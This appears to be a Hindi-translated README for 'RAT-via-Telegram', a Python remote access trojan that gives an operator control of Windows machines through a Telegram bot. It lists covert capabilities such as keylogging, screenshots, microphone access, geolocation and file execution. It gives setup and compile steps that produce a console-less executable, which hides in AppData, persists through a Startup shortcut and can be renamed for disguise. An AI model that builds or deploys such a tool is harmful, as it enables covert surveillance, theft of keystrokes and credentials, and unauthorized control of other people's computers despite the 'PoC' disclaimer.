RAT-via-Telegram

Dviros के नोट्स:

टेलीग्राम के माध्यम से विंडोज़ रिमोट पोस्ट ब्रीच टूल (पायथन 2.7), मूल रूप से Ritiek द्वारा बनाया गया, mvrozanti द्वारा फोर्क और संशोधित किया गया और फिर मेरे द्वारा।

इस टूल का पूरा उद्देश्य टेलीग्राम के माध्यम से पहले से ही समझौता की गई मशीन के नियंत्रण को (एक "PoC" के रूप में) प्रदर्शित करना है। जैसा कि मेरे पहले से लिखे गए टूल के साथ है, मैं अवैध गतिविधियों को बढ़ावा नहीं देता।

यह संशोधित संस्करण पारंपरिक v1 के बजाय टेलीग्राम बॉट API v2 का उपयोग करता है। मुख्य परिवर्तन टेक्स्ट टाइपिंग के बजाय कीबोर्ड बटन है। "mvrozanti" से आवश्यक परिवर्तन जोड़ने के बाद, मैं नई सुविधाएँ जोड़ने, बग बंद करने और API v3 के साथ संगत होने का प्रयास करूँगा। इस बीच, cd, download, upload, run और delete कमांड काम नहीं करेंगे।

दान अत्यधिक सराहे जाएँगे

वर्तमान में कार्यशील विशेषताएँ:

• लक्ष्य पर कीलॉगर चलाएँ
• लक्षित PC का Windows संस्करण, प्रोसेसर और अधिक प्राप्त करें
• लक्षित PC की IP पता जानकारी और मानचित्र पर अनुमानित स्थान प्राप्त करें
• [WIP] लक्ष्य पर फ़ाइलें या फ़ोल्डर हटाएँ
• लक्ष्य पर वर्तमान निर्देशिका दिखाएँ
• [WIP] लक्ष्य पर वर्तमान निर्देशिका बदलें
• लक्ष्य पर वर्तमान या निर्दिष्ट निर्देशिका सूचीबद्ध करें
• [WIP] लक्ष्य से कोई भी फ़ाइल डाउनलोड करें
• स्थानीय फ़ाइलों को लक्ष्य पर अपलोड करें। अपनी छवि, pdf, exe या कुछ भी file के रूप में टेलीग्राम बॉट को भेजें
• लक्ष्य पर YouTube वीडियो को फ़ुलस्क्रीन और बिना नियंत्रण के स्वचालित रूप से चलाना प्रारंभ करें
• लक्ष्य के स्क्रीनशॉट
• [WIP] लक्ष्य पर कोई भी फ़ाइल निष्पादित करें
• लक्ष्य पर माइक्रोफ़ोन तक पहुंच
• HTTP प्रॉक्सी सर्वर प्रारंभ करें
• लक्ष्य का कीबोर्ड फ़्रीज़ करें
• लक्ष्य की ARP तालिका लौटाएँ
• [WIP] निर्धारित समय पर चलाने के लिए कार्य शेड्यूल करें
• [WIP] लक्ष्य का माउस फ़्रीज़ करें
• सक्रिय प्रक्रियाएँ और सेवाएँ प्राप्त करें
• [WIP] क्लिपबोर्ड कैप्चर करें (टेक्स्ट, छवि)
• [WIP] माउस/कीबोर्ड अक्षम/सक्षम करें
• [WIP] डेस्कटॉप आइकन छिपाएँ
• [WIP] लक्ष्य पर .exe अपडेट करें
• [WIP] कंप्यूटर बंद करें \ रीबूट करें
• [WIP] लक्ष्य पर RAT को सेल्फ-डिस्ट्रक्ट करें
• [WIP] वेबकैम से स्नैपशॉट लें (यदि संलग्न है)
• [WIP] लक्ष्य पर फ़ाइलों को कॉपी और मूव करें
• [WIP] ऑडियो संपीड़न
• और जल्द ही आ रहा है!

Ritiek के विरासत नोट्स:

एक और क्यों?

• बाजार में मौजूद वर्तमान रिमोट एडमिनिस्ट्रेशन टूल 2 प्रमुख समस्याओं का सामना करते हैं:

  • एन्क्रिप्शन की कमी।
  • सैकड़ों मील दूर से नियंत्रित करने के लिए पोर्ट फ़ॉरवर्डिंग की आवश्यकता होती है।

• यह RAT टेलीग्राम बॉट API का उपयोग करके इन दोनों समस्याओं को दूर करता है।

  • पूरी तरह से एन्क्रिप्टेड। विनिमय किया जा रहा डेटा MITM टूल का उपयोग करके जासूसी नहीं किया जा सकता।
  • टेलीग्राम मैसेंजर ऐप लक्ष्य पर पहले से पोर्ट फ़ॉरवर्ड कॉन्फ़िगर किए बिना लक्ष्य के साथ संवाद करने का एक सरल तरीका प्रदान करता है।

स्क्रीनशॉट:

इंस्टॉलेशन और उपयोग:

• इस रिपॉजिटरी को क्लोन करें।
• BotFather से बात करके एक नया टेलीग्राम बॉट सेट अप करें।
• इस टोकन को कॉपी करें और इसे स्क्रिप्ट की शुरुआत में बदलें।
• निर्भरताएँ इंस्टॉल करें: pip install -r requirements.txt।
• अपने सिस्टम के आधार पर pyHook 64-bit या 32-bit इंस्टॉल करें।
  • 64-bit के लिए- pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl।
  • 32-bit के लिए- pip install pyHook-1.5.1-cp27-cp27m-win32.whl।
• स्क्रिप्ट चलाने के लिए: python RATAttack.py।
• टेलीग्राम पर अपना बॉट ढूंढें और उसका परीक्षण करने के लिए बॉट को कुछ कमांड भेजें।
• बॉट को प्रतिबंधित करने के लिए ताकि वह केवल आपको जवाब दे, कंसोल से अपना chat_id नोट करें और इसे स्क्रिप्ट में बदलें और return True लाइन को कमेंट कर दें। चिंता न करें, जब आप स्क्रिप्ट में कमेंट पढ़ेंगे तो आपको पता चल जाएगा।
• आपकी कार्यशील निर्देशिका में RATAttack नामक एक फ़ोल्डर बनाया जाएगा जिसमें keylogs.txt और बॉट पर अपलोड की गई कोई भी फ़ाइलें होंगी।

कंपाइलिंग:

कैसे कंपाइल करें:

या तो:

compileAndRun.bat में अपना पथ बदलें (इसे चलाने से वास्तव में एक्ज़ीक्यूटेबल चलेगा)

या:

`pyinstaller --onefile --noconsole C:\path\to\RATAttack.py` चलाएँ। आप किसी भी कस्टम आइकन का उपयोग करने के लिए `--icon=<path\to\icon.ico>` भी पास कर सकते हैं।

• एक बार यह सफलतापूर्वक कंपाइल हो जाए, तो C:\Python27\Scripts\dist\ में .exe फ़ाइल ढूंढें। आप .exe का नाम अपनी इच्छानुसार कुछ भी बदल सकते हैं।
• सावधान! यदि आप कंपाइल किए गए .exe को चलाते हैं, तो स्क्रिप्ट स्वयं को छिपा लेगी और स्टार्टअप पर चलने के लिए आपके PC को संक्रमित कर देगी। आप /self_destruct विकल्प का उपयोग करके या C:\Users\Username\AppData\Roaming\Portal निर्देशिका और C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk को मैन्युअल रूप से हटाकर सामान्य स्थिति में लौट सकते हैं (हालाँकि मैं फिलहाल उन्हें मैन्युअल रूप से हटाने की सलाह देता हूँ)।

सेटिंग्स संशोधित करना:

• आप छिपी हुई .exe फ़ाइल का नाम और उस फ़ोल्डर का स्थान और नाम भी संशोधित कर सकते हैं जहां छिपा हुआ .exe स्वयं को छिपाएगा। ऐसा करने के लिए; क्रमशः compiled_name और hide_folder संशोधित करें।
• अपने ज्ञात chat ids को RATAttack.py की शुरुआत में निर्दिष्ट करें

लाइसेंस:

The MIT License